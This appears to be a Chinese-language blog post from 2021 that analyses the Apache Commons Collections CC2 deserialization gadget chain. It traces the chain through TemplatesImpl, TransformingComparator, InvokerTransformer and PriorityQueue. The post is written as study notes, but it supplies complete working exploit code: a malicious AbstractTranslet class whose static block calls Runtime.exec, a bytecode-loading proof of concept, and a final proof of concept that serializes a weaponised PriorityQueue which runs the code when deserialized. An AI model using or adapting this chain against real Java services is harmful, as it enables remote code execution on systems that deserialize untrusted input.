CommonsCollections2分析

CommonsCollection2调用流程

整个调用链详细版本

ObjectInputStream.readObject()
        |
PriorityQueue.readObject()
        |
PriorityQueue.heapify
        |
PriorityQueue.siftDown
        |
PriorityQueue.siftDownUsingComparator
        |
TransformingComparator.compare()
        |
InvokerTransformer.transform()
        |
TemplatesImpl.getTransletInstance
        |
->(动态创建的类)cc2.newInstance()->Runtime.exec()

官方调用链

/*
    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()
 */

CommonsCollections2

在JDK1.8 8u71版本以后,对AnnotationInvocationHandlerreadobject进行了改写。导致高版本中利用链无法使用。

所以cc2版本就没用使用AnnotationInvocationHandler而时使用了TemplatesImpI+PriorityQueue 来构造利用链的。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个内置类, 这个类的骚操作就是,在调用他的 newTransformer 或者 getOutputProperties (这个方法内部会调用 newTransformer) 时,会动态从字节码中重建一个类.

这就使得如果我们能操作字节码, 就能在创建类时执任意 java 代码.

 

第一步通过templatempI加载恶意类

TemplatesImpI类分析

这个类我们用来加载我们的恶意类。

分析getTransletInstance

 这里有两个判断条件

如果_name==null 返回null

如果_class==null就调用defineTransletClasses() 下来跟进defineTransletClasses() 

分析defineTransletClasses()

这里如果_bytecodes==null就执行错误处理语句块 

看上图代码紧接着进行获取当前_class的getSuperclass()获取超类 再进行判断这个超类是不是包含在ABSTRACT_TRANSLET 如果存在泽执行if里面的diamagnetic对_transletIndex赋值 

这个常量中 可以跟进这个常量看看这个常量中存储了什么值

 

可以看到这里对 AbstractTranslet复制了AbstractTranslet这个类所以我们恶意类要继承它

 注意再获取超类这里 这里我们就需要对_bytecodes中的恶意类进行继承AbstractTranslet继承之后才能完成这个条件

构造恶意类

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class evil  extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {}
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}
恶意类代码

这里我们可以构造我们初步测试能成功调用恶意类的poc

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.ArrayList;
public class test2 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {
        //实例化TemplatesImpl
        TemplatesImpl templates=new TemplatesImpl();
        //获取TemplatesImpl的Class
        Class tc=templates.getClass();
        Field nameField=tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaaa");
        Field bytecodesField=tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        //加载恶意类
        byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class"));
        byte[][] codes={code};
        bytecodesField.set(templates,codes);

        Field tfactoryField=tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
        //调用
        templates.newTransformer();
    }
}
加载恶意字节码poc

加载恶意字节码poc的链子

TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()-> TransletClassLoader#defineClass()

 

接下来使用InvokerTransformer的反射去调用newTransformer()

InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});

 

TransformingComparator类分析

TransformingComparator是一个修饰器,和CC1中的ChainedTransformer类似。

TransformingComparator中的comparator 在TransformingComparator的构造方法中,传入了两个值transformer和decorated

TransformingComparator调用compare方法时,就会调用传入transformer对象的transform方法

具体实现是this.transformer在传入ChainedTransformer后,会调用ChainedTransformer#transform反射链

 

 

 我们在此可以构造 将反射调用的newTransformer传进去 

TransformingComparator comparator =new TransformingComparator(invokerTransformer);

这样如果那块调用了compare()就会调用this.invokerTransformer.transformer()

那么接下来如何调用compare()?这就需要PriorityQueue登场了

PriorityQueue类分析

PriorityQueue是一个优先队列,作用是用来排序,重点在于每次排序都要触发传入的比较器comparator的compare()方法 在CC2中,此类用于调用PriorityQueue重写的readObject来作为触发入口

 readObject中调用了heapify() 注意这里需要的for循环 这里长度是2才能满足条件 所以我们需要在创建好PriorityQueue之后再继续往里面add()添加元素

 heapify()调用了siftdown()

sitdown()调用了siftDownUsingComparator()

siftDownUsingComparator() 又调用了comparator.compare()   

 调用到comparator.compare()方法中

这里就可以构造

PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
//将恶意类添加给PriorityQueue
priorityQueue.add(templates);
priorityQueue.add(2);

 

 1 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 2 import org.apache.commons.collections4.comparators.TransformingComparator;
 3 import org.apache.commons.collections4.functors.InvokerTransformer;
 4 import java.io.*;
 5 import java.lang.reflect.*;
 6 import java.nio.file.Files;
 7 import java.nio.file.Paths;
 8 import java.util.PriorityQueue;
 9 
10 
11 public class CC2test {
12 
13     public static void main(String[] args)throws Exception {
14 
15 
16         TemplatesImpl templates=new TemplatesImpl(); //实例化TemplatesImpl
17         Class tc=templates.getClass(); //获取templates的Classlass
18         Field nameField=tc.getDeclaredField("_name");//反射获取templates中的_name
19         nameField.setAccessible(true); //暴力反射
20         nameField.set(templates,"aaaa"); //修改_name的值
21         Field bytecodesField=tc.getDeclaredField("_bytecodes");//反射获取templates中的_bytecodes
22         bytecodesField.setAccessible(true); //暴力反射
23         byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class")); //获取恶意类
24         byte[][] codes={code};
25         bytecodesField.set(templates,codes);//修改_bytecodes的值
26 
27         //反射调用newTransformer()
28         InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
29 
30         TransformingComparator transformingComparator=new TransformingComparator<>(invokerTransformer);
31 
32         PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
33         //将恶意类添加给PriorityQueue
34         priorityQueue.add(templates);
35         priorityQueue.add(2);
36 
37 
38         serialize(priorityQueue);
39         unserialize("ser.bin");
40 
41     }
42 
43     public static void serialize(Object obj) throws Exception{
44         ObjectOutputStream oss=new ObjectOutputStream(new FileOutputStream("ser.bin"));
45         oss.writeObject(obj);
46     }
47 
48     public static void unserialize(Object obj) throws Exception{
49         ObjectInputStream oss=new ObjectInputStream(new FileInputStream("ser.bin"));
50         oss.readObject();
51     }
52 }
初步poc

执行的时候报了哥错误

 

 

 这里要防止它提前执行

将这里置空 传一个没有的东西

TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));

当完PriorityQueue add()完之后再给它里面赋值即可

        PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
        //将恶意类添加给PriorityQueue
        priorityQueue.add(templates);
        priorityQueue.add(2);

        //将invokerTransformer给transformingComparator中的transformer
        Class c=transformingComparator.getClass();
        Field transformField=c.getDeclaredField("transformer");
        transformField.setAccessible(true);
        transformField.set(transformingComparator,invokerTransformer);

 

构建最终poc学习

 1 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 2 import org.apache.commons.collections4.comparators.TransformingComparator;
 3 import org.apache.commons.collections4.functors.ConstantTransformer;
 4 import org.apache.commons.collections4.functors.InvokerTransformer;
 5 import java.io.*;
 6 import java.lang.reflect.*;
 7 import java.nio.file.Files;
 8 import java.nio.file.Paths;
 9 import java.util.PriorityQueue;
10 
11 
12 public class CC2test {
13 
14     public static void main(String[] args)throws Exception {
15 
16 
17         TemplatesImpl templates=new TemplatesImpl(); //实例化TemplatesImpl
18         Class tc=templates.getClass(); //获取templates的Classlass
19         Field nameField=tc.getDeclaredField("_name");//反射获取templates中的_name
20         nameField.setAccessible(true); //暴力反射
21         nameField.set(templates,"aaaa"); //修改_name的值
22         Field bytecodesField=tc.getDeclaredField("_bytecodes");//反射获取templates中的_bytecodes
23         bytecodesField.setAccessible(true); //暴力反射
24         byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class")); //获取恶意类
25         byte[][] codes={code};
26         bytecodesField.set(templates,codes);//修改_bytecodes的值
27 
28         //反射调用newTransformer()
29         InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
30 
31         //将TransformingComparator置空 防止再序列化时触发恶意类
32         TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));
33 
34 
35         PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
36         //将恶意类添加给PriorityQueue
37         priorityQueue.add(templates);
38         priorityQueue.add(2);
39 
40         //将invokerTransformer给transformingComparator中的transformer
41         Class c=transformingComparator.getClass();
42         Field transformField=c.getDeclaredField("transformer");
43         transformField.setAccessible(true);
44         transformField.set(transformingComparator,invokerTransformer);
45 
46         serialize(priorityQueue);
47         unserialize("ser.bin");
48 
49     }
50 
51     public static void serialize(Object obj) throws Exception{
52         ObjectOutputStream oss=new ObjectOutputStream(new FileOutputStream("ser.bin"));
53         oss.writeObject(obj);
54     }
55 
56     public static void unserialize(Object obj) throws Exception{
57         ObjectInputStream oss=new ObjectInputStream(new FileInputStream("ser.bin"));
58         oss.readObject();
59     }
60 }

 

参考

  https://www.cnblogs.com/nice0e3/p/13860621.html#transformingcomparator

  《P牛的java代码审计》

 

posted @ 2021-12-27 19:23  笑花大王  阅读(87)  评论(0编辑  收藏  举报